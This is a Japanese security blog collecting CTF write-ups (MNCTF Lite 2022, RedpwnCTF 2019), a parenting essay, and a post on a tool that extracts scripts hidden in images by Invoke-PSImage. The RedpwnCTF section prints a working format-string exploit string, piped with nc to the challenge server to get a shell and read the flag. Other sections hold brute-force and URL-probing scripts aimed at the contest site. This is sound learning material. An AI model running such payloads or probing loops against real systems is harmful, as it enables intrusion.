Unleash the Beast!

CTFなどのメモに使います

(多分)世界で一番遅い MNCTF Lite WriteUP

マクニカさん主催のMacnica Security Forum2022内で、
5/16~5/18の3日間にわたり開催されていたMNCTF Lightに参加しておりました。

ここ数年、開催されてもなかなか参加の時間が取れていなかったんですが、今回は無理やり都合着つけて頑張ってみました。
出題された18問全て正解し、タイム差で5位という結果でした。
(最後の問題のスクリプト回し始めた時点では1人しか全問正解いなかったのでヨッシャ2位だ!とおもったら2位の方と10分程度の差でした。。。)
賞品でスタバのギフト券頂きました!太っ腹!!
ソロで出た大会で賞品もらったの初めてかも!!!

開催された3日間、毎日10時に問題がオープンされるんですが、
「解けるかどうか」より「どれだけ早く解けるか」を競ってる感じで、
まぁある意味面白かったです笑
ということで開催から一か月以上経過し、多分世界で一番遅いと思いますが、Writeupを書いときます。

なお大会サイトは一般公開されており、今からでも登録して楽しむことができます。

MNCTF2022LITE

タスク一覧はこんな感じ

 

0.チュートリアル

その名の通りチュートリアル。システムを使う練習です。

■1.練習問題

MNCTFと答えるだけ

■2.解放条件

最初はオープンされてませんが、3.ヒントをクリアするとオープンします

CRITERIAと入力してクリア

■3.ヒント

ヒントを開けるとフラグが書いてあります

H1NT!を入力するとクリア

 

1.第1日目 初級編

初日(5/16)は初級編ということで全7問出題されました。

「すべての問題を早く解いた人」が順位が上になるので、1日目と2日目はのんびり解きましたw

FTPのパスワード

添付ファイルはパケットキャプチャ。「FTPのパスワード」というタイトルからも、皆さんおなじみ(?)の平文パスワードのやり取りを抽出する問題ですね。

フラグはパスワードなので、「ftp12345678」が答え

■Webのソースコード

問題文中のリンクをクリックすると下記のようなサイトに飛びます。

問題文に素直に従ってソースコードを見ます(F12)

ソースコードにパスワードが書いてあるかと思いましたが、そこまでザルではないですね。気になるのは

https://github.com/Sh1n0g1/mnctf2022light_web50.git

アクセスしてみると、サイトのサーバ側の処理が記述されたindex.phpが見つかります。

https://github.com/Sh1n0g1/mnctf2022light_web50/blob/main/index.php

このへん

$correctpassword=file_get_contents('password.secret');

この処理でパスワードをファイルから読み込んでいることが分かります。

よってここにアクセスするとパスワードが見えました

https://mnctf.info/mnctf2022light/task/web50/password.secret

フラグはサイトのパスワードなので、「PASSWORD123」が答え

■バッチファイルの解析

添付されたバッチファイルを展開します。

以下の内容

set num=175641985
set /A num=%num%*2+1
ping %num%9 > nul

 

IPアドレスというのは32ビットの数値で表せるので、このpingに与えられた引数に対応するIPアドレスを答えれば良さそう。

pingの行を「echo %num%9」と書き換えてバッチファイルを実行すると、3512839719がpingの引数であると分かる。以下のようなサイトを使ってこの数値を変換すると、通信先のIPアドレスが「209.97.174.39」であると分かり、これが答えとなる。

www.ipvx.info

■不正ログイン

添付されていたのは、CSV形式の認証ログ。日付、IPアドレス、ユーザ名、ログインの成否が記録されている。

最初はログイン試行の失敗を探してみたが、見当たらない。

そのため「同一IPからの不正な複数回ログイン試行」を疑ってみる。

このようにCOUNTIF関数を使い、B列に複数回出現しているIPアドレスを探してみる。

⇒139.59.19.54から、すべて別のユーザ名で17回のアクセスが行われていた

よってこの「139.59.19.54」が答えとなる。

IPアドレスの国

※不正ログインに正解したことで、問題がオープンされた

IPアドレスICANNという組織によって管理されており、国(地域)に対してIPアドレス帯が割り当てられています。つまり、IPアドレスが分かればそれが使われている国が分かります。特定に利用できるサービスは色々ありますが、今回はこれ

GeoIP2 Databases Demo | MaxMind

 国名をカタカナで答えるので、答えは「インド」です。

■拡張子不明のファイル

unknownというファイルが与えられます。バイナリエディタで見ると、一目瞭然。

89 50 4E 47で始まるのは、PNGファイルですね。答えは「png

■暗号の基礎知識

まさに基礎知識。知識問題ですね。「公開鍵」です。

2.第2日目 中級編

2日目(5/17)は中級編3問が出題されました。

■ICMPトンネリング

与えられたのは、ICMP通信が含まれるパケットキャプチャと、それを送受信したEgress Assessというツールへのリンク

GitHub - FortyNorthSecurity/Egress-Assess: Egress-Assess is a tool used to test egress data detection capabilities

パケットを眺めると、クライアントからサーバに対し、何らかの分割されたデータ(通信されているデータの冒頭部分をBase64デコードして見るとflag.jpgのようだ)を送付しているようなので、上記ツールのICMPサーバ処理を参考に復元を試みます。

https://github.com/FortyNorthSecurity/Egress-Assess/blob/master/protocols/servers/icmp_server.py

⇒たぶん泥臭くやれば解けるけど、できるだけスマートに解きたいな、ということで、

 ・pysharkを使ってパケットキャプチャファイルを取り込み

 ・上記サーバファイルのデータ復元処理部分を移植する

ということでできたのが下記のソルバ。

(numbers_to_outputのとこだけ、もうちょっとスマートに組めた気がしますが、めんどいので解けたからOK)

import pyshark
import base64


def custom_action(icmp_strings):
    incoming_data = base64.b64decode(icmp_strings)
    if b".:::-989-:::." in incoming_data:
        file_name = incoming_data.split(b".:::-989-:::.")[0].decode('utf-8')
        file_data = incoming_data.split(b".:::-989-:::.")[1]
        with open(file_name, 'ab') as icmp_out:
            icmp_out.write(file_data)

cap = pyshark.FileCapture('icmp.pcapng')
numbers_to_output =  [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30]

for number in numbers_to_output:
    data_string_org=cap[number].icmp.data
    byte_array = bytearray.fromhex(data_string_org)
    data_string=byte_array.decode()
    custom_action(data_string)

これをキャプチャファイル(icmp.pcapng)と同じフォルダに置いて実行すると下記画像が出力できる。答えは「ICMPTUNNELING!」

■ハッシュの逆算

これはきっと力業で解く問題なんだろうな、と思いました。

(カテゴリもprogrammingだし)

ということで5桁の数字をループで回して、問題で与えられたハッシュ値と一致するまでハッシュ値を求め続けるコードを書きました。

import hashlib

md5_hash = hashlib.md5()
employee_string = "MAKUNIKIEMPLOYEEID"

for num in range(100000):
    s = f'{num:05}' 
    target_string = employee_string+s
    print("target=" + target_string) 
    #md5_hash.update(target_string.encode('utf-8'))
    #hashvalue = md5_hash.hexdigest()
    hashvalue = hashlib.md5(target_string.encode()).hexdigest()
    print("hash("+s+"):"+hashvalue)
    if "90b67cf9496d344f46f8e4460b677b50" in hashvalue:
    #if md5_hash.hexdigest() is "90b67cf9496d344f46f8e4460b677b50" :
        print("solve:" + s)
        
        break

実行すると、以下でコードの実行が止まります。

target=MAKUNIKIEMPLOYEEID87281
hash(87281):90b67cf9496d344f46f8e4460b677b50
solve:87281

よって、「MAKUNIKIEMPLOYEEID87281」が答え。

■数字クロスワード

A1:分からない

C1:22

B2:403

A3:543

A4:3389

A3:53

B2:443

D1:23

とA1以外はサクサク埋まったので、思考停止して0~9まで入れようと考え、

7で正解になりました。

表示された「7224035433389」が答え

3.第3日目 シナリオ編

3日目(5/18)はシナリオ編として、マルウェア感染から発生する一連のインシデントをシナリオ形式で追っていく問題(全5問)が出題されました。

感染源となったExcelファイルから順に解析を実施していきます。

■1.実行条件

与えられたExcelファイル(売上一覧.xls)に埋め込まれたVBAマクロを参照すると、

コンピュータ名に"MAKUNIKI"が含まれることがこのマクロの実行条件のようです。

よって「MAKUNIKI」が答え。

■2.2次検体

面倒なので、1.実行条件で判明した条件を満たすためにホスト名を"MAKUNIKI"に変更してマクロを実行してみます。すると、ドキュメントフォルダ配下にマクロに記載されていたdiagnostic_tool.exeが生成されます。

このファイルのSHA256ハッシュ「928294fd5fd06f49edfa164980d907b6db218b5081da602b3ab2b75ff7e34083」が答え

■3.通信先

問題ジャンルはReverse Engineeringになってますが、ちょっと面倒だなぁと思ったので

process monitor(procmon)で動的解析を行うことにします。

diagnostic_tool.exeはコマンドプロンプトでPC上の情報をいくつか抽出した上でその結果を通信しているような挙動に見えるので、

(1)diagnostic_tool.exe実行前にprocmon起動

(2)diagnostic_tool.exe実行し、ひとしきり動作が完了するのを待つ

(3)procmonのProcess Treeを参照し、diagnostic_tool.exeのツリーの下にぶら下がってるプロセスの情報を見る

最後に起動されたpowershellのプロセスの実行時の引数として、URLが渡されているのが見える。

よって答えは「https://task.mnctf.info/blog/

■4.隠れたディレクト

後悔としては、最初「https://task.mnctf.info/」配下のフォルダを検索しちゃってたんですよね。ここのタイムロスが無ければ2位だったのに。。。

Webサイトの隠しディレクトリを探すには、dirbを使います。

https://task.mnctf.info/blog/bak/が存在することが分かります。
よって答えは「bak」です。

■5.感染端末の特定

4.隠れたディレクトリ で発見した情報から何かわかるんだと思います。

アクセスしてみると

index.zipを覗いてみます。

どうやら(雑に読むと)、被害にあったPCに対応する[HOSTINFO_SECRET/ホスト名.html]がこのWebサーバ上に作成され、被害にあったPCはそこに対してアクセスし、自らの情報をアップロードするようになってるようです。

よって、この[HOSTINFO_SECRET/ホスト名.html]が実在すれば、そこに記されたホスト名が被害にあったPCだということになります。

よって、以下のようなソルバを作って、サイトが実在するか否かを調査しました。

⇒問題文より「MAKUNIKI + 数字4桁」とあるので、0000~9999までループさせるつもりでコードを書きました。

import requests

url_base='https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI'

for i in range(10000):
    num = format(i, '04')
    #print("num : " +num) 
    site_url = url_base + num + ".html"
    print("url : " +num+ " : " + site_url) 
    #file_name = wget.download(site_url)
    r=requests.get(site_url)
    if r.ok:
        print('OK:'+num)
        break

思いのほかループは早く止まり、

https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0582.html

が存在することが分かりました。

よって答えは「MAKUNIKI0582」です。

 

まとめ

相変わらず、というか、楽しみながら勉強できる良い問題がそろっていたと思います。

運営の皆様には感謝しかありません。

あと、最近エクセルやパワポばかり見てるオジサンになってる身としては、リハビリに丁度良い感じのレベル感でした。やっぱり技術も使うことでそれなりに切れ味を保っておく必要があるなぁと再確認できました。

なお、8月にはMacnica techNowledge Days 2022の中で、Light版でないMNCTF 2022が開催されるとのこと。とりあえず申し込みましたが、お仕事とぶつかっている気がするなぁ。イベント期間外でも公開されると思いますので、夏休みの宿題として楽しみにしてようと思います。(その時期はCISSP勉強しないといけなかったような。。。)

Macnica techNowledge Days 2022

 

子育てCTFerの役に立たない話

こんにちは。もうすぐクリスマスですが、みなさまサンタさんへの取次業務(プレゼント発注)は順調に遂行できましたか?

本日の記事は、「オトンとオカンの自分時間捻出術 Advent Calendar 2019」の21日目の記事として書かせていただきます。

adventar.org

 

 

1.自己紹介

私は某強豪CTFチームのPwn/バイナリ担当見習いとして活動しているimurasheenと申します。見習い期間も3年目に入り、そろそろ才能の限界を感じていますw

本日も弊チームの一軍の皆様はSECCON 2019国際決勝にて世界一を目指して激しいつばぜり合いを繰り広げているはず。(書いてるのは12/17なので知りませんけど)

ということで、SECCON本戦にちなみ、本日のお題はCTF。子育て&フルタイム勤務しながらどうやってCTFやってんの?という点にフォーカスしてお伝えしてまいります。

2.CTFを始めたきっかけ

CTFを始めたのは約2年くらい前になります。

当時は先が見えない部署でつまらない仕事をこなすだけの毎日で、2歳半の子供の育児中なので早く帰れることだけが生きがいの日々でした。

そんな中でエンジニアとして自分を見つめなおした際に、

「10年後、必要な人材でいられるのだろうか?」

「子供が物心ついた時に胸を張れるのだろうか?」

と葛藤していたところ、社内のセキュリティ人材育成プログラム参加の話が舞い込んで、それに飛びつきました。

2年間の育成プログラムの中で色々な方々と出会いましたが、その中にCTFつよつよの方々もいらっしゃって大きな刺激を受けました。同時に、エンジニアとしての彼らの存在にも強く憧れるようになりました。

そこで、自分を証明する手段の一つとして、私もCTFに取り組んでみよう!と思った次第です。(茨の道に踏み込んだと気づくのはもうしばらく後の話)

3.家族構成

●オトン(私)

 ITエンジニア。休みはカレンダー通り/帰宅は19時半くらいのまあまあホワイト。

●オカン

 化粧品会社勤務(フルタイム)。前職は不規則な休みだったものの、子育て開始で心機一転、土日休み&近所の会社に転職してくれました。(感謝

●長男

 4歳半。気づいたらお尻が出ている。平日は8:00-18:00で保育園。

●プルート

 2歳。犬。

f:id:imurasheen:20191216234345j:plain

なお夫婦ともに地元は九州な上、頼れる親戚も周囲にはおらず、子供の病気の際などはスクランブル体制で乗り切っています。

(転職してすぐのオカンは有給が少ないため、基本は私が対応しています)

 

4.imurasheenの一日(平日)

6:30 起床~6:45くらいには起動

6:45~7:10 プルートと散歩(+ドラクエウォーク)

7:10~7:30 朝食

7:30~7:40 朝食の片付け

7:40~8:00 準備

8:00~9:00 通勤

9:00~18:30 お仕事

18:30~19:30 帰路

19:30~20:00 夕食

20:00~20:15 夕食の片付け

20:15~20:30 お風呂・洗濯開始

20:30~21:30 子供とふれあいタイム、プルートの世話⇒子供とオカンは就寝

21:30~22:00 洗濯物干し

 

5.imurasheenの一日(休日)(例)

8:00 起床

8:00~8:30 プルートと散歩(+ドラクエウォーク)

8:30~9:00 朝食

9:00~9:15 朝食の片付け

9:15~9:30 準備

9:30~12:30 子供の習い事(水泳、体操)

12:30~14:00 昼食(外食)

14:00~16:00 一週間分の買い出し

17:00 帰宅

18:30~19:30 夕食

19:30~19:45 夕食の片付け

19:45~20:30 お風呂・洗濯開始

20:30~22:30 子供とふれあいタイム、プルートの世話⇒子供とオカンは就寝

22:30~23:00 洗濯物干し

 

6.家庭内ルール

色々紆余曲折あありましたが、今のところ以下のようなルールに従って我が家は回っています。

(1)ソロ活動は無し

「子供は見てるから一人で遊びに行ってきていいよー」などと色々試してみましたが、我が家のオカンは一人の時間をあまり必要としない性質のようで、楽しくないそうです。そのため、週末などは家族で固まって動くことが多いです。

よって、週末のカンファレンスなどへの参加はNGです。

(2)家事は(なるだけ)半々で

オトン、オカン共にフルタイムなので、できるかぎり家事の負担は均等になるよう努力しています。

私の担当業務は以下の通り(平日/休日で担当の変更は無し)

 ・プルートのお世話(散歩、歯磨き、トイレ掃除)

 ・食器洗い、片付け(食洗器使用)

 ・洗濯、洗濯物干し

 ・ゴミまとめ、ゴミ出し

 ・運転(オカンはペーパー)

 ・家庭内情シス・SOC・CSIRT

 ・その他力仕事

 

(3)寝室は私だけ別

仲が悪いわけでなく、イビキがうるさいそうですorz

 

7.で、いつCTFやってんの?

基本的には「家族が起きている間は家族と過ごす」という誓いを立てています。

(以前それで揉めました。「仕事と家庭どっちが大事か?」とリアルで言われると思わなかった)

ソロ活動制度も無いため、昼間に自分の時間を持つことはありません。

そのため、

 平日:家族が寝静まった後(22時~2時くらい)

 休日:家族が寝静まった後(23時~4時くらい)

要は「睡眠時間を削る」の一本勝負です。

寝ようと思えばいくらでも寝られる体質なので、ショートスリーパーではないと思うんですが、睡眠時間短くても稼働できるのでこんな感じです。

CTFは開催地のタイムゾーンで開始されるので、日本人にとってはエグイ時間に開催されることもあり、開催時間が私の活動時間にかぶると「そこそこ」活躍します。

役に立たない話でスミマセン。。。

その分、「短時間での効率的な睡眠」のために色々と工夫しているのでその辺をご紹介させていただいてお茶を濁そうと思います。

 

8.効率的な睡眠のために

(1) マッサージチェア

夫婦そろって肩こりがひどいので、マッサージチェアを購入しました。

リクライニングはありませんが、そこそこお洒落で、狭い我が家にも収まりがいいサイズ感で気に入っています。

f:id:imurasheen:20191217015652j:plain

(2) フォームローラー

f:id:imurasheen:20191217015842j:plain

寝る前に肩甲骨周りをほぐすとよく眠れると小耳にはさみました。

なので、ベッドに入る前にこの上に乗ってゴロゴロ転がっています。気持ちいいです。

(3) 足つぼマット

ベッドの脇に置いています。

寝る直前と、朝起き抜けに体を起動するために使います。

足に血が巡るのを感じます。痛いです。

f:id:imurasheen:20191217030319j:plain

(4) USB給電のホットアイマス

昔は蒸気の出るアイマスクとか使ったりしてましたが、使い捨てなのでもったいなく。

今はこれを使っています。タイマが10分~30分、温度が35度~50度の範囲で設定できます。目の疲れが取れます。

f:id:imurasheen:20191217030419j:plain

(5) センサ付き電球

f:id:imurasheen:20191217030934j:plain

本来なら玄関などで使うものですね。センサで動きを感知すると数分間点灯します。

ベッド脇の壁に向けて設置して、手をかざすと点灯するようにしています。

これを設置する前は、CTFやりながら寝落ちすると部屋が煌々と明るくて寝た気がしなかったんですが、これを使うと寝落ちすると自動で部屋は真っ暗なので、安心です。

(6) ニトリの横向き寝枕

www.nitori-net.jp

イビキがうるさい=仰向けで寝ると熟睡できていないようです。

(呼吸が時々止まっている模様orz)

この枕は自分に合っているようで、結構スッキリ眠れます。

(番外編) ミラグレーン

睡眠とは直接関係ないんですが、このシーズンは飲み会も多く、CTFに影響が出ることも多々。ミラグレーンを飲むと、絶対に二日酔いにならないとの噂もあるため、期待しています。

なお今シーズン2度試してみましたが、

①浴びるほど飲んだ時は気持ち悪いものは気持ち悪い

②翌日の回復は早い気がします

まぁ1粒100円くらいするのでそれなりに効いてくれないと困りますw

f:id:imurasheen:20191217031437j:plain

(番外編2) モンスターエナジー

弊ブログの背景にもなっているエナジードリンクモンスターエナジー

時間捻出術とはちょっと違いますが、CTFに取り組む際には必ず私の傍らにあります。

社内CTFコンテストに参加した際は箱買いして一日5本飲むという暴挙に出ました。

(寝落ちして起きた際の動悸が怪しかったので、用法・用量にはご注意ください)

効くかどうかより、これを飲んだ際はいい結果が出ることが多いというジンクスを担いでます。

9.最後に

最後まで、私の役に立たない話にお付き合いいただきありがとうございます。

 

子育て中の自分時間について一つ言えるのは、何かを犠牲にしない限りは、子育てをしながら自分のやりたいことをやり切るということは難しいな、ということです。

子供と一緒にいられる時間は今だけなので、その時間を犠牲にはしたくない。犠牲にしたら絶対にいつか後悔することになる。なので、私は睡眠時間を犠牲にしています。

  

時間は増やすことはできませんが、質を上げることはできます。活動時間の質を上げることも大事ですが、睡眠時間の質は色んな方法で上げることができ、効果も高いのではないかと思います。

ただ、最近だんだん無理が利かなくなってきましたorz

自分の加齢+子供が活発に動くようになったので、特に休日は疲れ果ててPCの前に座る前に眠りに落ちてしまいます。ちょっとやり方考えねば。。。

若い皆さんにはお伝えしたい。やりたいことは、自由があるうち、無理が利くうちにやりたいだけやることをお勧めいたします。

RedpwnCTF 2019 WriteUps

https://redpwn.net

I participated in this competition.

I solved 2 challenges, and earned 438pts.

 

 

■Rot26 (Pwn 50pts)

First of all, I looked the attached file , rot26.c.

There is an obvious FSB vulnerability in the main function.

(I tried to solve this problem by using Zeratool, but it failed.)

 

 

**********************************

root@kali:~/zeratool/Zeratool# ./rot26
AABB%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AABB0xffa64fbc.0x1000.0x8048791.(nil).(nil).(nil).0x42424141.0x252e7025.0x70252e70.0x2e70252e

**********************************

The specified string (AABB) is stored to 7th stack (0x42424141).

The function which I want to reach is, winners_room.

It's address is 0x8048737.

In the main function, exit() is called after the vulnerable printf() call.

So I want to overwrite the GOT of exit().

I checked the output of objdump.

**********************************

080484a0 <exit@plt>:
80484a0: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020
80484a6: 68 28 00 00 00 push 0x28
80484ab: e9 90 ff ff ff jmp 8048440 <.plt>

 **********************************

exit@got.plt : 0x804a020

All the information necessary to create an Exploit is now available.

 

Then, I create the Exploit by using my own FSB-exploit-generator.py. 

**********************************

> python .\FSB-exploit-generator.py 0x0804a020 0x08048737 7
\x20\xa0\x04\x08\x21\xa0\x04\x08\x22\xa0\x04\x08\x23\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn 

**********************************

I send this Exploit to host.

-> "Please, take a shell!" is displayed, but no command can execute.

I think the Exploit succeeded, but something is wrong??

So I tried to following procedure.

(1)Add the "ls" command after the Exploit string.

**********************************

root@kali:~/zeratool/Zeratool# echo -e '\x20\xa0\x04\x08\x21\xa0\x04\x08\x22\xa0\x04\x08\x23\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn\nls' | nc chall.2019.redpwn.net 4003
!"# < �
Please, take a shell!
Makefile
bin
dev
flag.txt
lib
lib32
lib64
rot26
rot26.c

**********************************

This challenge is good.

The filename of the flag file is "flag.txt".

(2)Add the "cat flag" command after the Exploit string. 

**********************************

root@kali:~/zeratool/Zeratool# echo -e '\x20\xa0\x04\x08\x21\xa0\x04\x08\x22\xa0\x04\x08\x23\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn\ncat flag.txt' | nc chall.2019.redpwn.net 4003
!"# l �
Please, take a shell!
flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?} 

**********************************

The flag is : flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?} 

 

■Dedication (Forensics 388)

Unzipped the attached file -> "jjofpbwvgk" folder, and it contains "jjofpbwvgk.png" and "jjofpbwvgk.zip".

"jjofpbwvgk.zip" is password protected zip file.

Is the password contained in "jjofpbwvgk.png"??

This file is not a png file.

It contains following data.

(0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0)・・・

I guess it is RGB data.

There are 400 tuples in one line, and there are 600 lines.

So I think this file represents 400x600 image.

I wrote the solver by python, then I get the image file. It seems flipped password string.

I repeated several times : image restoration -> unzip.

The randam named png file and zip file are output eachtime.

I guess there are many stages to get the flag, because the title of this challenge is "Dedication".

I try to write python solver with the following plan.

Use the OCR to read the password string

(1)Plot an image from png file data using PIL.

(2)FIip the image of (1) upside down (by flip() function) and rotate left 270 degrees (by rotate() function).

(3)Read the password from the image of (2) using Tesseract as an OCR tool via pyocr.

(4)Use zipfile to unziop the zip file using the password in (3).

(5)Change the working directory to the expanded folder by using os.chdir.

     And repeat the operation from the (1) to (5) until found the flag.

 

The final solver is following.

 

#coding:UTF-8
from PIL import Image,ImageOps
import numpy as np
import re
import sys
import pyocr
import pyocr.builders
import zipfile
import os

#found the OCR tool
#Please refer : https://qiita.com/it__ssei/items/fd804dcb10997566593b
#Requirement : It is necessary to install the Tesseract 
# https://qiita.com/FukuharaYohei/items/e09049c8d312eaf166a5
tools = pyocr.get_available_tools()
if len(tools) == 0:
    print("No OCR tool found")
    sys.exit(1)
# The tools are returned in the recommended order of usage
tool = tools[0]
print("Will use tool '%s'" % (tool.get_name()))
# Ex: Will use tool 'libtesseract'

langs = tool.get_available_languages()
print("Available languages: %s" % ", ".join(langs))
lang = langs[0]
print("Will use lang '%s'" % (lang))

args = sys.argv

if len(args) != 2:
    print("Usage: # python " + args[0] + " filename")

target = args[1]

while True:
	size = (400,600)
	img = Image.new('RGBA',size)

	f = open(target + ".png", 'r')
	text1 = f.read()
	f.close()
	text2 = re.sub(',','\n',text1)
	text3 = re.sub('\)\ \(','\n',text2)
	text4 = re.sub('\) ','',text3)
	text5 = re.sub('\(','',text4)
	text6 = re.sub('\)','',text5)
	ftmp = open('tmp.txt','w')
	ftmp.write(text6)
	ftmp.close()

	f = open('tmp.txt','r')

	#linecount=0
	print("Start plotting image...")
	for y in range(size[1]):
	    for x in range(size[0]):
		#print(f.readline())
		tmp=f.readline().rstrip('\n')
		#linecount = linecount + 1
		#print("readvalue for r:"+tmp+"line:"+str(linecount))
		try:
		    r = int(tmp)
		except:
		    r = 0 
		#print("x="+str(x)+":y="+str(y)+":r="+str(r))
		tmp=f.readline().rstrip('\n')
		#linecount = linecount + 1
		#print("readvalue for g:"+tmp+"line:"+str(linecount))
		try:
		    g = int(tmp)
		except:
		    g = 0 
		#print("x="+str(x)+":y="+str(y)+":g="+str(g))
		tmp=f.readline().rstrip('\n')
		#linecount = linecount + 1
		#print("readvalue for b:"+tmp+"line:"+str(linecount))
		try:
		    b = int(tmp)
		except:
		    b = 0 
		#print("x="+str(x)+":y="+str(y)+":b="+str(b))

		img.putpixel((x,y),(r,g,b,255))

	print("End plotting image...")

	f.close()

	#show
	img_flip = ImageOps.flip(img)
	img_result = img_flip.rotate(270, expand=True)
	img_result.save("./result_"+ target +".png")

	retry_count = 0
	while True:
		try:
			password = tool.image_to_string(
			#    Image.open("./result_"+args[1]),
			    img_result,
			    lang="eng",
			    builder=pyocr.builders.TextBuilder(tesseract_layout=6)
			)
			#In this issue, password is lowercase only.
			password = password.lower()
			print( "password for " + target + " is " + password)

			with zipfile.ZipFile(target+".zip") as zf:
			    zf.extractall(path=".",pwd=password)
			    target = zf.namelist()[0].strip("/")
			    break
		except:
			#if the character on image is too big, OCR can't read it. So resize the image.
			if retry_count >= 10:
				print("It is difficult to read the password for OCR. Input the password manually.")
				break
			tmpwidth,tmpheight = img_result.size
			resize_width = int(tmpwidth*0.8)
			resize_height = int(tmpheight*0.8)
			img_result = img_result.resize((resize_width, resize_height))
			print("Unzip failed. Retry to get the password from image!")
			continue

	os.chdir(target)

> python Dedication_solve.py [folder name]

Followings are the points I struggled with.

(1)The password is a single word, so there are  "long words" pasword and "short word" password. In the case of "short word" password, sometimes OCR fails to scan the password from the image file. Because, maybe, the characters are too large to read. So I add the handler when exception raised on the decompress process : re-reading the password image after resize(smaller) the image.

(2)A special font is used, so often failed to identify the 'g'. I restarted the script manually everytime it failed, it was overhead.

f:id:imurasheen:20190819014932p:plain

(3)There are many time of misidentifications of OCR. It also needs to restart the script manually...

(4)The decompress process of the zipfile is very heavy. I didn't count, but according to other WriteUp, there are 1000 stages of decompress to get the flag...

 

I took about half aday and finally , I got a flag.

f:id:imurasheen:20190819015822p:plain

The flag is : flag{th3s_1s_tru3_d3d1cAt10N!!!}

Yes, it was true dedication...

 

 

 

  

ツール開発:Extract-PSImage(はじめてのGitHub)

勉強も兼ねて、初めてGitHub上にツールをリリースしました。

Extract-PSImage https://github.com/imurasheen/Extract-PSImage

Invoke-PSImage(https://github.com/peewpw/Invoke-PSImage)によってスクリプトが埋め込まれてしまった画像からスクリプトを抽出するためのツールです。

 

Invoke-PSImageとは

Invoke-PSImageは2017年末にリリースされ、すぐに平昌オリンピックへの攻撃に利用されたことで有名になったツールです。

参考:https://ascii.jp/elem/000/001/615/1615152/

 

日本国内では、その後もしばしば攻撃に利用されているのを見かけます。

Invoke-PSImageは、画像にスクリプトを埋め込む際に、そのスクリプトを抽出するための専用の命令列=ワンライナーを生成します。

巧妙にデータが埋め込まれているため元々気づきにくいのですが、ワンライナーが特定できないとスクリプトを抽出できない、という点でも解析の難易度が高い攻撃です。

Invoke-PSImageの処理を解析

今回は、Invoke-PSImageのスクリプト埋め込み処理を解析することで逆に抽出ができるのではないかと考え、挑戦してみました。

Invoke-PSImage.ps1の動きをトレース
(1)まずスクリプトをロード
(2)埋め込み対象の画像をimgオブジェクトにロードし、幅と高さを取得
(3)メモリ上のキャンバスにビットマップデータを描画
(4)RGBデータを抽出
 $bytes  = [Math]::Abs($bmpData.Stride) * $img.Height
 Absは絶対値。bmpData.Strideはストライド
 ストライド幅:参考 http://neareal.com/470/
 幅が512pxのデータだとすると、1画素がBGRAで構成されているなら512*4=2048バイトがストライド
(5)埋め込みたいペイロードの内容が画像サイズにフィットするかどうかをチェック
(6)ペイロードを埋めない場所に埋め込むランダムストリングを生成
(7)ループ処理でRGB配列にペイロードを埋め込み
(8)(7)で生成したデータをビットマップのキャンバスに戻す
(9)Png形式でファイルを保存
(10)ワンライナーのパラメータ生成
    $rows = [math]::Ceiling($payload.Length/$width)
   →$width = $img.Size.Width Ceilingは小数点以下切り上げ
    $array = ($rows*$width)
    $lrows = ($rows-1)
    $lwidth = ($width-1)
    $lpayload = ($payload.Length-1)
payload.Length以外のパラメータは元画像から取得もしくは生成している。
よって、payload.Lengthを以下のいずれかで決定すればsolverが書けることになる。
①画像に埋め込み可能な最大値
②最大値までインクリメントしながら発見できる箇所を探す
Invoke-PSImageのつくりからして①で行けるはず。

■Extract-PSImageの使用法

作成は基本的にInvoke-PSImageのコードをいじることで行いました。

詳細はリポジトリを参照してください。

https://github.com/imurasheen/Extract-PSImage

 

簡単な使用法だけ。

PS> Import-Module .\Extract-Invoke-PSImage.ps1
PS> Extract-Invoke-PSImage -Image [PNG画像へのパス] -Out [抽出したスクリプトの出力先のファイルパス]
[Oneliner to extract embedded payload]

ペイロードを抽出するワンライナー(実行は行わないような内容)
[First 50 characters of extracted payload]

抽出したペイロードの最初の50文字

 

Extract-PSImageは、対象となる画像に埋め込むことができる最大長のスクリプト文字列の抽出を試みます。そのため、結果には以下の制約が付きます。

(1)埋め込まれたスクリプトが、埋め込み可能な最大長よりも短い場合、抽出したスクリプトの後ろにランダムな文字列がくっついて出力されます。

(2)スクリプトが埋め込まれていない画像に対してExtract-PSImageにより解析を行った場合も、実行はエラーとなりません。ただし、出力された結果はすべて無意味なランダム文字列となります。

 

抽出に成功した際の例は以下の通り。

f:id:imurasheen:20190802021239p:plain

GitHubへの投稿方法

ファイルのアップロードなどは直感的に分かったんですが、Readmeの書き方に少し苦戦しました。以下を参照しました。

https://deeeet.com/writing/2014/07/31/readme/

https://gist.github.com/wate/7072365

■まとめ

・十分な試験を行って作成したツールではありませんので、ロジックの読み間違えなどでバグや問題点があるかもしれません。使ってみた方がいらっしゃればご意見いただきたいです。

・初めてのGitHubへのツールのリリースでしたので、良い経験になったと思います。

・検知等に活用する方法について検討していきたいです。

 

■追記:ライセンス表記

当初はリポジトリにライセンス表記を入れてなかったのですが、 

・ライセンス表記を入れていないと、デフォルトの著作権法に従うことになる

  ⇒表記しないとデフォルトの著作権が適用され、編集、再頒布、商用利用が不可 

Invoke-PSImageもMITライセンスを設定している  

実際にはライセンス表記していないリポジトリも多いのであんまり気にしていない人も多いかもしれませんが、Extract-PSImageにもMITライセンスを設定することにします。 

リポジトリの生成時にライセンスを指定していれば簡単なんですがここまで来てしまったので後付けでライセンスを設定する方法をご紹介いたします。     

設定方法は以下を参照しました。 

https://qiita.com/shibukk/items/67ad0a5eda5a94e5c032

 

リポジトリのトップで[Create new file]をクリック

※一度登録に成功した後に画面キャプチャしたので、画面中に"MIT"のタブが表示されています。登録に成功するとこのように表示されますよ笑

f:id:imurasheen:20190802141756p:plain

②"LICENSE"というファイル名称を入力し、[Choose a license template]をクリック

f:id:imurasheen:20190802141939p:plain

ライセンステンプレートの選択画面が表示される。「MIT License」を選択する

f:id:imurasheen:20190802141943p:plain

 

